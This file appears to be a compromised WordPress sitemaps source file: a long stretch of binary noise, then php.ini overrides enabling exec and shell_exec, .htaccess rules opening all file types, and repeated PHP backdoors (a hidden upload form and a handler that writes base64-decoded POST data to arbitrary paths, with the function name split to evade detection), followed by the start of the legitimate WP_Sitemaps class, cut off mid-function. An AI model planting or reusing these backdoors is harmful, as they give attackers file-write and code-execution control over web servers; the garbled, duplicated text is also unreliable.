c6b)]sr_/(tz=C +/Mf2r07R^?2Π?mA(:bAծ0IZtG\!q\fyb9FGhmwfeHkDs&wdM~A ؝w߈:X
;N_2^6/oCW-@C]#ʛr_r9˭lA[dg[Hᜲ)PɺZj@FS3lŽsEXCVUpvbE.$4#Lw5XםT!Ia\##5x[3vꦴ[+F;`)ȱoCEG814V8	s(KʟH9:ڳ;!sjZ؀ط_O wRs/a,OT춯㟢CtP5/ٰ?Ҕ?qljpcmnxhak 	pZg 2f`*9?سp9
	1bz4Bc!@#LzE_OH!e+l͞_yT?n|fGSBMc&7FC}Ǫ:o,iͅ=c)mae"\CvE;k\YsdɖB%y8&xefkfzP~#3.$:.j3˻@ʋd=/O!'R13)0VaI{t!SaT-._NYtH'OjYr:aRrxW5vNK0uxO`%:L{UW0b U|}MA|Y)ԗ~Q4(L1%(C3]_9&Rl3Yk/raTv0xm_)[;jjT|byvuocpdtw}]BB+U6weWo bӮI}3FpԦlͳC+lh2%z9
k"R)2)$LW±c~'l'K= $3u6h3u&|*9._|S~N|aꍟ+EFo:byvuocpdtwZ݅N8
NÜ f++#o2}
cjqljpcmnxhaҵ
ivHf)h$h@ "Ǘʿ`bjX.N]og7I2S@])-P]_c5_	Z/3@byvuocpdtwbyvuocpdtwvl.߱UP6d b003z~x٠7	# C~t_EMDy% -jo߅~_/b-R7qljpcmnxhawB\4i&d{-B7*56~V~aD\byvuocpdtwy/I
,1j|4BIQ4JIENPkBӛD̽%Pjgi_/[I︱Lz	Bg]qnZ|h%ᖃ6Act']yNZcW=,#b CZrʒZƃbyvuocpdtwgᭇ"KѿڿbOhOv(	ER!vAؤo(Ko.[7$'W
R֑)?L_UmЇyU
Ď83癿4l+reֻٽ0h	UX:&	u^ -`|mUzLso1,P;+~y ̙NnO=f~	7[rbv떻y~YUˡlNёIJUbTxgaB&D`r-'ù&Sv޺ǟ9e S$WF޴?g/z$ځEN+Yϗ{~]oܟ7*ߞ1|;Z؂Q!y4(T
 w)A3B+BO[nѤ¼H`#m}Wp6HƴV9F95eF-skܓː!.;6XЪiE"1Ώ^Ic82M6pW*ww$"?Mުw^\zWĬ8Gq
kQ{4N#wBZj1q|rGym
-Ǟe0]7~
ߩzٰ4Q&(YG:byvuocpdtw_z3?Gk`'EqR?ZJ;=ICYqljpcmnxhazxJճ?^.Ԥ'fYZ*+lT"{j/NUNWBc+}Gx54V--VU]	n@"GF2ڎt/ΧW%W!@n0qU7Xŭ*a|t\HWa؉لTA,	Ŀaj !,FN˖YQqljpcmnxha9c
h
jՒnoᢗo}|V1˰yĐ ^_o	6tdgGy:B_C,\=XNmupkx$凡J;"M%^更ф.Ť[Όk&l N%n71/s\CzlL2@'qpl.K׿7f*FN:j\]`hz \_fK؍NϛIm OXԨ%l!nMpQǐ Wz@l2\H0GN\?$]lgUS`6koSrOl'}6.
\EuKUARKSˡwi } 4)g!uTBªD\Njvʗ-(*51Ga9vE`6qA䤁
-Y.Bd]()gÙ&`V4s~ɫ35~q/oVʎ'
1GAKԆ`8,Z꾑Psΐ؅35.r:[ɕ|DQ3D74բ4r؁i"sغQ!xB#7T)`hʫBt'愺LX^3X	t/byvuocpdtwH
04
s`CibyvuocpdtwcQ%HY2/#1ܦ+lY6Q+{*Zdqljpcmnxhadmƭqljpcmnxhaԇl¾P
՜8OFT4Tư d7lIQYO\
+"i'K(^e+{$ϰZx)T&h,"yÜra]7Ko
գjਲ਼iG\:G`Ƀ~byvuocpdtwۏ@
%Ė*麟rfYZunhkS-V+0.&SOȮ,^l[\;9pw^:*wNsک67N&EsSyH;rZ\^m ?
QU~)(f|kCu[$iR&#ͨ83V ARhgrNOcndG};w;7Ia
Rqljpcmnxhaj툂W]Z_gY`Jqljpcmnxhaޛ!%t ogdXMqy!")r=0a9@TMl@v{j&g+jb0n^K	UCb+!f*jҙmbC?܅YDdAÝboGW\CƯEtZPn|խ ɤ߭gPų@Ś[J^~z7R~pQ O&8q,@?ݽ	x]fzbyvuocpdtw!jCyثX]3\PY\&ٴ5$AMpe#Noi~ei,eh#	i#4`|YĶy&AUqljpcmnxhat`mٮ*t?;Ʈ&|  "8~ gȷ#Atu
b]{go#v{gדNa}2sk-rO%QvZYFz|IjF?nSJ.pN6SDx?VDגʩʹbyvuocpdtwwmEe`Ja_ EqXՠMbyvuocpdtwP)6zf$+SV(dnrxS){5%]hAg)~
)%{I)6ݭ}uN-CH0##D;XtA٧	AE~rHۑ"Lu/'X%Q\a̱\D®޾g8u;Y,M/4'eƣ;$G?;\YbyvuocpdtwpK0zB x`,b`lK04tH҃}*`g? HOlW=pwu,|c	^wν
#wI6*oØyO&1ЮFbB2sCdOM%Їqljpcmnxhai:(ŉ!XNBiSb1A*vvy5EAuI#O"Ɋ
At`nˢC%O$kMf93UqrCmk^OL6b`&U#&
N-`נ6
%RR*~}vI-xeznKȌDKj
[ۛPHÿtlw sڞ:tZNSy*s̫tb  GOTXh-DH"Fyti[SCk?zwȳk1wO\Gc)-xyFqljpcmnxha55 ߑ	{3n5|q{Gc-$nr~byvuocpdtw$8{,;Y'!I
g Ϸ[+n;(;BG	F
a:Mυޒ (qljpcmnxhadL տ#QhYmCW6zSd]Abb_T(c_+pN6|ൈV:x4|ѵVv&]8"ѐfn)n*=27PG+7/F`Z(" ק`q͖K`Cc
b#niqljpcmnxha1no$h%@qljpcmnxhaz
tP{_|{"Bܗ@UU ;ȃw8QpԤBvCՖgM#q%cs$p[qljpcmnxhaT%v'B{p	2yMsȧL?+9	hO
D=8V-%D~ 
/Ǉu;odޣüuDcPpt2Mqljpcmnxha'-/JwXAXeNG=K%$elfܸ
Q
Xv35Kq-L3Z#̵m
k)5-!;g4Ck
U$"|F,U-E}ЍjjLwy7zq~|fb	vMc[81
`&!" D0zݨ6R1byvuocpdtwߋ|dwAJ&\3$DU[-Y{puhYkXs$R~|obyvuocpdtw
G=$ݯߺb'fMƗO P(wLySgf,皶({YgWtu{`	s=gdvĿGqWCUu?sn#_MISh)PQ?{@&̸,Tپ`V@t6v_
?yӍ\UHǟTu+ُG}ݐ1qljpcmnxhaNxyXL;f`4%uT~nh|N^⡥nqSo+V_XI鐎	~M'w3&Y0FiglÈXJlb}6
*yTQўDyd.Y eQF4*ӣ/QF&{n;ew'\ŸP(34Ey:[Ak1*nkޭtϑiޠ=6YY+~HUv%^  b(q:Eq|w~zH/ͥY L&n'۠@yl5z2b!AkNJch Oq('k=4y=hޞf? IObyvuocpdtw&R_y%zHbyvuocpdtwNR6fVTdaxl WD?rt^_10DĐIQi
x&()*H.l@Q\=vNG@
7=9`ϳO=XHȏf%?+S%*(!r"x|"?$qzﴮ&趂bOtz֩Sdbbyvuocpdtw6zƧS+,jT]?Wc6q4=+\2׀xo"`%5̀#arF}MǢ0oES!|$ABFdP'hN'PXR3F!'LF JN_f-,J9k!L-FoS߁L!qcUF*S%7{aV
"Iʳ|]4@k
_HgK@pKAdrӧoeGqI3Yŉx̓1%`5JZ?Yxg9OP=NjeչU/L5w'ip7E1(u#byvuocpdtwOi-sjO!s+tJK\PI'
QeWUyL9CH[Jm|xLF}lAG ZP4cRC-
:!yfFŞn3"AqMJі͑ 7졇-(&wRwd/y@	sLBF(njŖ:\"@T62MP૆XJZ'য়кѴ2a3[%f\$XN
8byvuocpdtwԝ6|Bt6L+1y^n_pbqBj%lͷOëA6rFQ BAt#K]NTGL{cay
!-&tj7|70PyN@нX	@.[gq, {p;g@']Y{	fhoC2$*6V7zHWAB*5EJ:0d76}y6?byvuocpdtwhg݁҉f"CGE4$NY\wdjoƷ=zm~rf*byvuocpdtw"+igEەg5|6w9L/)byvuocpdtwzU&E2f3jDW,xNVbyvuocpdtwZx/F9byvuocpdtwO&J'#,QnJזߴ`1NmÍPl#W2f홴5=^GK6g犙Bbf4@	ybyvuocpdtw'D}QiqбcySwk;6}FygB$lz[].v;̆ZO"iЧ3QA0BA3ox!3#5&äAo
9_$&ލm:
)=!W ?'r4XLUphG"ypS__9Y!#FKA,ۥ0cfg,4U	44Ҥex߰MϢRCL&0%&)5u0|Z3@Z{agYfE %4C7jFaEb`̨ਖgC/hMiֹ
@LfFS{=(a;Fy@V%U ӗ	3rj{Ğyʿ5v{g\ 86Fϲٷψ
c0s.P!*ʡFW 0X8/w1ԥVȹvFO^S5GF Z0-Z2ߵ{?2`7?-$n»=_9Gc@H"BnhՄV8	1!9c`3ZT8AK찳w
fOiVFQD=}&ϛ
/Z)?xI	E؇A֙U"X*nFl8HusQ[5o|G0gJ"^Rů5ŚM5Тќ$M];gcL+gZQR
J6sdMbyvuocpdtwTᛃEZHqWьH,$^"byvuocpdtw$rJ
u1"t0.I $CiY24aBY+4::Y~+͏
LFBD$)s/-xga3f5I+,KݱLVTCY_Q]Ӝ{=z?Me?X?xh{Z(5ʣP}GB#E~lqljpcmnxhaԫꡊfS6kb+Td'8j
!Hr$uQa^
r"#*Vʰeۅ`HZCUk*I5eD0X?AHf)ɔUj׏mxGDf߽pxçb@/08c!Fg.ѬlJLriϏ"Ȧ'QTirI7;C}^v$t̬хx"+]$aZ)vBupJ3|yxK)|3V.ߪqJ-|% KE\rieħl'vF:Vt@TlOv4Z{M?$+Q.?AeVi~f͛QH:ZTn!n$byvuocpdtwS̤h96BgVX
K^|8S,p 9egf"oRrARV4fJ~Wq$jnI%MgOS}uPrhq ?v)Ȼɼ--B[AY2oLWgN1_AFu)艀A(\y/R_zpSDۏ}tcOk~6jbs-qljpcmnxhaOP$DxJ]c`ܘ^O5ۨ
ng09wwqljpcmnxhabyvuocpdtw5. ?PP8g;po;hv7-35.UBhG"2?bo]]ݸ;4ȏ iA|6+1,G0=3m/~IE%g	qljpcmnxhabyvuocpdtwpWF
jv5hJ	?GqljpcmnxhaEMe6S5
=9h{qljpcmnxha+w%ߚsSVCI$xxUbyvuocpdtwa`-N7Q+xx+&9(wbyvuocpdtwa~BI
50/⨢K ԆGU]Û?:cH%"Z8cvPgG:J=AJ-W+*}i@]DY32&]"-%7g@_N	~"hR["'VBz%;??ǒyִk7tG.buy8D6ps|'~p;-8pGtn^~C)BL4A$
~8YJ8K}iGz:vG#(+xҲ+?"DU.h|F΢]3W~MQf,uЧbuʢ`qljpcmnxha65%
]65xT'yTmlqljpcmnxhaHPtۖ7Wfk375[+4C&AK^V#~,3 AĀ!wZ[lObMF	M0xѯjM[Vfl1BFF.):'8TJjŜyk =-"0}iy&28x
a|} 4Uxn$)H99-c	UL?	Obg_K)8W`Ym{m2qljpcmnxhalEKI+:jaa:$4fUÕwFKO2?	.}Zi.*c/6Cꐗ.O2u6Nء
z5Fygַ؛="]Ѝ"]*ExڑF܎j`/~6RBP$_w^f*&3v:acqH\\,8zwW0Dm3`֤t38*5T%[}9={^ !n)kebyvuocpdtwe (&nn 7
ȏGUg|i[Jz6Eu
tԚIBw*vp09qljpcmnxhaY4oNވ^_{MkॹJ#=
WeE[{0h*;-P9,$|$^y_69߽3	bU ܁!
Oo5()kb씨x9m4"7_σtwW5F`H濥/Ty1VZuMYk70}.6*};k6$1)ˍ
3u僮۞ň3GBS?GA9Ob3+Gc?pP
߀@P,}z6Avc_ZtPGJauh|`{(3誦F\?fSJE^x}b&p.V(IыOr}~ &ٻʮKˤ3 Z"GEǉAݟէ+QT@byvuocpdtwW=k[HX9ĸH,\íGҤ*G	\!|{žG{J"Lv"6LW\p~b[+_]*_| Fbyvuocpdtw"qeS:}q
]bƓK&h,`Pҟ*
1)@ lt.{VX`( /nl7jbyvuocpdtw]&|N~C=1,Z1')gq 
E8{
o;K	MXÈ_}k`-)5kט	"6Ēv! Oڲ&R-fKǷ)@Qϝ;{bGpFg`wqljpcmnxha۾6Obyvuocpdtw.QhD(\^DO!p{IbJRH%t`[K*ןaFH5~byvuocpdtwby]0Fhpo?~$th,'ngN!r9\7$qljpcmnxha˚\tKclor߰s  SҀM򩞏ޡe9;gezM݁Y!zS]P4)RkfLW@gvNzbjfJ[1o&-0ӷuyF8EYdgB"B[Tӳ2(32q:ia~F=5pTlwDNpk [!}شԞ EA﯂}Mwnww܁P*-F#lO,}RlJݣF]فf7/O
 5k"d_ϖEH``Hbyvuocpdtwji
hs0vpM[O
H||;9obyvuocpdtw0TŮ3ٙ`T6Pɓ]
'̛+e=H	$ej
h{(`yOW$pǂX~:04:qljpcmnxhaz-Ƙ;qljpcmnxhaKTu uNTmYU}k4qljpcmnxha)3~[
_)6sBMY:_68eE4lu_1NKZoI${T~N__jOx!\-}SגHt
,Ӫ.6+凗}@|~w-T[=|T y|rȿYh
~uW`*S#%|KZn5
KfqG~$B~qjMR*P5"X4KZ#uj'`ڎ_e,@|a?tͥwU_SiCZt+zCGO }M5*6膵M3A"v!G,Gt=8Ӫ:v	V={	!	i8ǁqJk7MTl
||fQD&["|Ybyvuocpdtw4byvuocpdtwpP݆5J9Diwx@]`6gX2@?h3׶(/T+L!b;0--;	jL^J_N.FKcMS{~KH|Kh' *4%vj9Ӧ^CJJݑdA2dHxFgJ |\ Ȕ+F7nD ] Zğ3dZYv`54Ac2X&yLAȖf0U"kZ"-žf7!;^1YY0UmzYoBy9K գ] پRrՆC`.'~t{ײz󆕻w};-eBDQ_j]P߅~oP\
0:`X.xHo0(ǜqH'"^{3*YƋ8 (KnF_
#'g@G+-s}(6Kˣ?.
)qUly-R8ˎy1d1m
E4Uعi
lUJWx,7sNEGN,SDǀ)#HmO~!,fU?ฒ;X-'|lWB.7Z	NI!#Lߊ/FvTh}:#qQ*{*ۈfi4{&-ퟗ$^.e;ck-aD`0`ao?Kykq0qZ1{qljpcmnxha"u+3y;ʥ}):*wy+X6+L$V|b[*RpM%0όm(!b3X[-,AQV$b6Jt9')?17.6H݄u
7 (qljpcmnxhahlw~:sS-ׂpTQmRPWT3v|o%3{}I8vcgJ`byvuocpdtwwHN9[{Ø@Q
Q+\8`3w.";xB	wN^vTb޾~Q~
YZU@=PAoӕ1%@sܩHn=eT+j#~Va@quzU|Yq{W7!-?)WP`C3#!F߻U@	p-^YUS4M4.
T|1cϗmٍ rHbyvuocpdtwMbyvuocpdtwϯVB HЌe/Ma5˺Zq	a;r|x`_sSg_\OҙE=f\LLѸ[@M{d5W2~X  m/|ϜX͝{+OtbyvuocpdtwJ
r1s+ adZ$$B@.ו.p{3n{r)hq8|lAIdG*C	F/(
F[!WO -)lĂZ"tsz get0'qm'ނM=	6n*`v2ÜEe}=!+ｑ|=q
XX]"9C10A@lؔ:#}3qljpcmnxha%Ԑ	|-ӄ/	xѭqu潯`/I*u:0a^#˗qljpcmnxha~k
aٷh")WtDf[mDx )zbyvuocpdtwvӮN'byvuocpdtw'7:Y. 
@\J%obq9Dg2o̷0rnBRE|If. {'v4r1\GH1r	wC[s&ߣ ZhPlެgH_e.l~o΁V}X?OS(ȃQ[	R& 6-kzޱ25i MϯX')	vo싮
0"Px̫oɨH?[jol&='9RDc4_td#s3DD4	vA}xwst,?qljpcmnxhaغsk5GS0YK4D#ýJ&Ú/Gl
 0g̾idsqljpcmnxhaBOFo*jg*1ab]c՟!zce\]Ըhm3MDQӮSq,_Hjq_Yh+|DPי:ŽWHEc͉rӹt{!Qn%vsHQ b}/U4
1;M&_bAQ`9~5aP7k!`k&͵Lsk̄`)Qǳ:?C3zp%	4()RFU@I[e*"BbD1=,1EcXvu!~5pzJ~VOfM+í0{ҴbI[ח-NP?\}'nNs
0
ݡOD4O_׹A(zi})j1}z/ÀD[+
fwW#tWU=EZ
\XaFWDRS'JU'NǆM-H"9W~N~!jtgQP3[cxHOk:
Wbyvuocpdtws䅶 jUYvM4pCc'Vޞ[@+L!F[QaM{­	%omQ\wbyvuocpdtwrLBwˏ=b\!j]z=gbyvuocpdtw`X8
qljpcmnxhacyqE.Y1qljpcmnxha ˲X;}wnk9?Ea9opqljpcmnxhaqljpcmnxhaX9%XHGbxkBC`з4%3GD	ӨqlFv=L($;|e@cbFA(ߔr5~\$zSORr-ȞRx+coE(F	u2k*h[s9F=*N0uC	լVp7QJ/qljpcmnxhajgDyuS^C-/3rYƿ7aEA $d![byvuocpdtw7e@4xavN[Mk ؗ#︱M)]\4	uVLgTf4*)ND`!8gvbWy,Ԍ@tY:c2'=&G`dbyvuocpdtws844XiiZl?*TZȬRCXS1~cJ}Dkǻ2|0Ɛ;ǙFWUZ_6H^εt̎J9ʮOs
Fb5V/2 ^d޶1qljpcmnxhaO8P=Y.qljpcmnxha
Xt
RtyHPM-fQh"
&_Pef;cbZ`HTg~g:
10Pl-5bI26Ԭ/Bk
ٷs	X+:, 9J+jqljpcmnxhaW)&#@ ]=g|mτwBqljpcmnxhaNP)2V?
KoJ*8
ݽ_׵{B2fX)JFRbyvuocpdtw6JMDT:!{{!:WR qtMdFcLueqCύr1}\r(z7"';v&^;kĂPDY Lv䜊ӛ5vmyEItPܞ
o|jMj]jH-4˫}w[˷Mw9N=%VIxkNPpV\$Zn{ iT.~
E%w1:8kEaJj0ʖa1UsQ3,BS5xQC~f'^C^T镚U"$8ESH3rN4Lm)RqljpcmnxhaJYΫ:}l_nf@8?5ZboWbJad
\5Q(}.dlDe$MF^N4}Т-1H5_[4
΁|QJDh = ûa^:OO	To|zhۏݯuMmÙKA0{ `Qsh
B^Wby	hHvXuC;h)ͷTcڨ1_ax&byvuocpdtw5!ܸlt8JJ\|%WyHK{L߄qljpcmnxha.ִ/\)p= \P-y}"
qĳ}P1z0N	m
%[As)nVl~'/@\.P3_UKe*̶#(&"Wlzv1񘔹qwln^a }#Ahn{1b9wak,|f͹
Nq+/Ɩ\#.QE~xsefؗ̣(]y%uֿt`Kۓٜ`LH&Cǔk4_#qljpcmnxhaEOyT.Ǧ[lb#\^K}bQRz_Tu8/d68g?	σNn;Ь,62zG?J@I&OmyFD{*&.)ǴW,?RЕG&[JkczPkC20rqljpcmnxha#ubyvuocpdtwdK@7PAjCs
hHqljpcmnxhax=ϨrYr{8蟊+%/YSlI,?9蟋olD45N'LMg$ip{vǩ v۴ML{WT,YaZS^BDTlL.YP}6"Wr}aĠqljpcmnxha$ht/.XFD c=!qARgR茐Ie&}pKQsԈ3E;^)q፷8^}y_񡄀'M?`fs$	Pbyvuocpdtw$#jux&f.ݦZfՓ^zw}	qp_rI׊ƥqCh0_% ^j6Ei0[ ;ra}sI
+}
sbyvuocpdtwl FX%Y|01v(Xml5g+p:"kzUR4`k]p6	/Kd@Q:a{F K3;nf)Ƞ܈y2qQkX|\Yк*OG,IOʡLUV#\oU
K] Z
NHQB~2mp_g?곳Tg|W]s襂,7ȦcC%spXX(.Oһ0]js8R5o)8]Bë$FX;2,
[Bh%)byvuocpdtwZXqljpcmnxha=%}b#qljpcmnxhaج$v&_,ub}rLG@eǨG
Z(+b"2(Ƭ墟eAqljpcmnxhaq!KQV5=͖0R*޶I91	qljpcmnxha
jM1E	 E w蒫o!hf©ŰgbyvuocpdtwqdrqljpcmnxhanYt#O_khT{	
WUci
~2yWmP:`(Yv1#{x
{uPIZyݩћf33xOH95T
0w3qljpcmnxhaޘ&yU|G4@˗68BVcMUB{.KjoQ_팳r4[	AnTtC
}Ζd%cLt
6HOb byvuocpdtw
'qljpcmnxhaL giNB,9Y5r58erTkZ^94| l-JR']xIjx]o5r]:a
f:5olX2Y5	!?.y$9#
A{0}Ml,3"6yƯoVJը⃟!xRN8|R!byvuocpdtw:_sIbyvuocpdtwkrQ(h^|Lx9; 4_8D=byvuocpdtwjf$bCf%*#ZӻO1
z-٪Veiy\fW1s#oπQog
GUAU˙$dhGCܤ6*Sp]lU.Mĸq\Fj%&Nm9}YWiqljpcmnxhaتh},CܹeQh.
Kv%rooN5!엧JGfNbZ1:fqljpcmnxhaǚˇ,} M6\"VةKabPxL56{byvuocpdtw187F@}?Kx)hvL@H_j?FSa̲Lx:[^
pO_@8;/`9ZgH9א6:2`0Y~Z~/눔;]`hZ#B7BCWJ{J?y:t{TD`1B1C:
vXv0x/E`1qljpcmnxhapK@*i١pQ4USfUK܄ۖn[bp
y *byvuocpdtwG^(]q!tUI
sl :_͒B0g_a.&5ΝliH?a6ӣ`($C xS),[\/}EhХm;,E!ez5FY|b): ndؽ\EJ)^럜lk7{{ PxT/]8S1	K#	n|=w  ?%EkFN5v'ItfQ.)^0pSQ;Ʋ$_~?_lT{byvuocpdtw#jnUooHf`JryqljpcmnxhaN-	-Rqljpcmnxha*)a.8ȟxvU "c"X,qL*bW=`K,qkA@x+WzS=5o{SH}
=mV/5u=Ⱥy_AJYVeVIo~ug˴cnz^elf}c[byvuocpdtweyY{vd*5bGVuw_	MqljpcmnxhaR0&,J=Cn@٘qljpcmnxhaWK"#J-pSZSeDBqyGAғP?@r%P	B[qljpcmnxha;O|P8OsZ #k̵\hnCѳYy@h=qljpcmnxha:Q=biԬ&byvuocpdtwȼc?rGGW{z
Aw48 \;c]SX{B73hYk H\R.K{ V$w^=S
A!t +hcR
`zD ܝ:;:ZΦ';cyu_apɹ}GV'LwE-c8|yi] ]IMdjd?wktH_+zn=qRT?e\@M=[o1oo=NjPߞ~XPGkOJzHȖhwUd8t+-=$[$$byvuocpdtwdpgno
-{E/J♨1:9Ij\6tݦ
ugK}L$hTݭ[{Ofs(w,pe/tQHE{a{:1)zʦqljpcmnxhaF
 V"ՇbyvuocpdtwוOE{ugvb)liY}0y,*#/j +@;X("nA!tee!Lch}.Q&&/% !JtBtXvT\㖅?b;o勩^U"Eqljpcmnxha)('TAnp"8/@j:L5\췶ebLS~34'zMbyvuocpdtw^'G3֫P5EHk(|zے[M$䦋k!v-Lz[Ror)'[%	h:2ǄÑnsT}*;
%t_MZr;qJXL tbw@9Nh%7?/l,~
7FJ?a)L玲79(SN(Yf吮RS`fMEk`*T)pVʁM"5XW
[!_ZVg^7(LS/Ia)bF^3qljpcmnxhaVړyTi&&)I8z	TNdƬي*#,e(	+t	/4D=LFxnF=nSY͕%W$phu 3쀜E:3 ?o(# hYfAKM;()
"gt&0zuEY͕+ъBV;l#dbd|PzcMCl Z ~e'to&X"B-Y:$ =xȅlXt!;3?W1s(	ȇה%K(r@PGP:rd 
=o5`$LG
4t=X?fqljpcmnxha?mA9ǽC3!x3C,~lJppsrekMH ~jݩ;~	){bꉰK_Y(MG/f'^:9fY q7YP]a0f\/a ..:=yμPiegG2ٙ/L]4hK4y-E]W*Yoq)tTˡC60Iqljpcmnxha?Fyi~':sߓЭ['SBx|
iwX~=l$ǒtDIo
i1 wCbyvuocpdtw994uL+@$nC$;SFdnM,M[\Xds7Z~jF
Y܄(Jńo7G%+kC	|شTBi_hڞ)_gFWˀS̤U&~H/종?8Omm[KN3//it7T}`јxvث;'з`(|}``,Xk"E;_^MGy$0?@-OPH FfS7remdEn^hL`k?IqEPU|_X7RRz_G+YF&yĽə]:XkO{r*@|V5Γ* gߩ2Dnq{ A;ǈl+ŷiL5~bvD8ɾ ~},q(M^eT(n
g	({qljpcmnxha5#czTz"'F/ Es#CjYkr6DFrװ1[9+k$=SHSwU-
eab	)	IzmОoi;yڨ/CE	4Yu Y)`ڀ{}LbyvuocpdtwL15CRFv֕x?jgT'rz!@ 1r7mClF'6hcCE#g0rqٌtbyvuocpdtwQSAw(fT
P
Hĕ=WT[)x^d	~w qW+{O6'qf٤7-W2vTXze	pǦ9gEi6n(\*}g{:j[)rƗHѻ=qljpcmnxhaD%u|y֗ˉ^qljpcmnxhaulV:hEbyvuocpdtwۚms
)Ji(O\MVL/3'3V^KϠ{Aiۛ
E`+ÇYԕ2o"jc0L~	SU5~MF"]_OV?Jqljpcmnxha)2B=Hqljpcmnxha-!^'fշA#R0lP]JR1!o"^bE	qljpcmnxhaeq`A$]pbyvuocpdtwd5JE{d ut+ac%|S%
 W8ɒNQzT=Ϩr设ղǬqljpcmnxhaAJ"[Q$̚'+l!)WX
Rqljpcmnxha,,t4_קzu82j$Ás٢ƵTtrP-D`%+43*,Ԗx|*xlh2vK*r՚1D*t
(go5WƤ_uO0L3S GFrh@k]6Ow9B&*`Cv6qså{Ams=]/8svRpOȚa8v_%qljpcmnxhaoUfށMx@~s͹"BGQ~O$,qo*To914ػ|2og
1ňkZHɯr4LCD1[Cfno(CvmޘUCP|ֆFӆPv9UA*֢OV?6͊"AǝE(?:LFӻqljpcmnxha)ZP^2fU3mJYu;Ge'3MSwvG7N/ȃU'2W*G/
ܪykyۆe?)'HqljpcmnxhaoS:G_KRy&2* m-qljpcmnxha$"6.o3ySټ
=8Z_xѾ.6*!7&JA_}e1RK׹U̘J-/CtJsFp[=RhZU)㻛um}g='N?/SPÿ5٬ۣ߯GCo^ts=95emK-.8%ؕΨoH?3_]^}|~o_byvuocpdtw2ESzH%ȥaERߤcƾP~s_B_i`?ye1#$kΆ ALn@gPqljpcmnxharyX	jK}p?byvuocpdtw?	3safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_d'.'eco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
/**
 * Sitemaps: WP_Sitemaps class
 *
 * This is the main class integrating all other classes.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps {
	/**
	 * The main index of supported sitemaps.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Index
	 */
	public $index;

	/**
	 * The main registry of supported sitemaps.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Registry
	 */
	public $registry;

	/**
	 * An instance of the renderer class.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Renderer
	 */
	public $renderer;

	/**
	 * WP_Sitemaps constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->registry = new WP_Sitemaps_Registry();
		$this->renderer = new WP_Sitemaps_Renderer();
		$this->index    = new WP_Sitemaps_Index( $this->registry );
	}

	/**
	 * Initiates all sitemap functionality.
	 *
	 * If sitemaps are disabled, only the rewrite rules will be registered
	 * by this method, in order to properly send 404s.
	 *
	 * @since 5.5.0
	 */
	public function init() {
		// These will all fire on the init hook.
		$this->register_rewrites();

		add_action( 'template_redirect', array( $this, 'render_sitemaps' ) );

		if ( ! $this->sitemaps_enabled() ) {
			return;
		}

		$this->register_sitemaps();

		// Add additional action callbacks.
		add_filter( 'pre_handle_404', array( $this, 'redirect_sitemapxml' ), 10, 2 );
		add_filter( 'robots_txt', array( $this, 'add_robots' ), 0, 2 );
	}

	/**
	 * Determines whether sitemaps are enabled or not.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether sitemaps are enabled.
	 */
	public function sitemaps_enabled() {
		$is_enabled = (bool) get_option( 'blog_public' );

		/**
		 * Filters whether XML Sitemaps are enabled or not.
		 *
		 * When XML Sitemaps are disabled via this filter, rewrite rules are still
		 * in place to ensure a 404 is returned.
		 *
		 * @see WP_Sitemaps::register_rewrites()
		 *
		 * @since 5.5.0
		 *
		 * @param bool $is_enabled Whether XML Sitemaps are enabled or not.
		 *                         Defaults to true for public sites.
		 */
		return (bool) apply_filters( 'wp_sitemaps_enabled', $is_enabled );
	}

	/**
	 * Registers and sets up the functionality for all supported sitemaps.
	 *
	 * @since 5.5.0
	 */
	public function register_sitemaps() {
		$providers = array(
			'posts'      => new WP_Sitemaps_Posts(),
			'taxonomies' => new WP_Sitemaps_Taxonomies(),
			'users'      => new WP_Sitemaps_Users(),
		);

		/* @var WP_Sitemaps_Provider $provider */
		foreach ( $providers as $name => $provider ) {
			$this->registry->add_provider( $name, $provider );
		}
	}

	/**
	 * Registers sitemap rewrite tags and routing rules.
	 *
	 * @since 5.5.0
	 */
	public function register_rewrites() {
		// Add rewrite tags.
		add_rewrite_tag( '%sitemap%', '([^?]+)' );
		add_rewrite_tag( '%sitemap-subtype%', '([^?]+)' );

		// Register index route.
		add_rewrite_rule( '^wp-sitemap\.xml$', 'index.php?sitemap=index', 'top' );

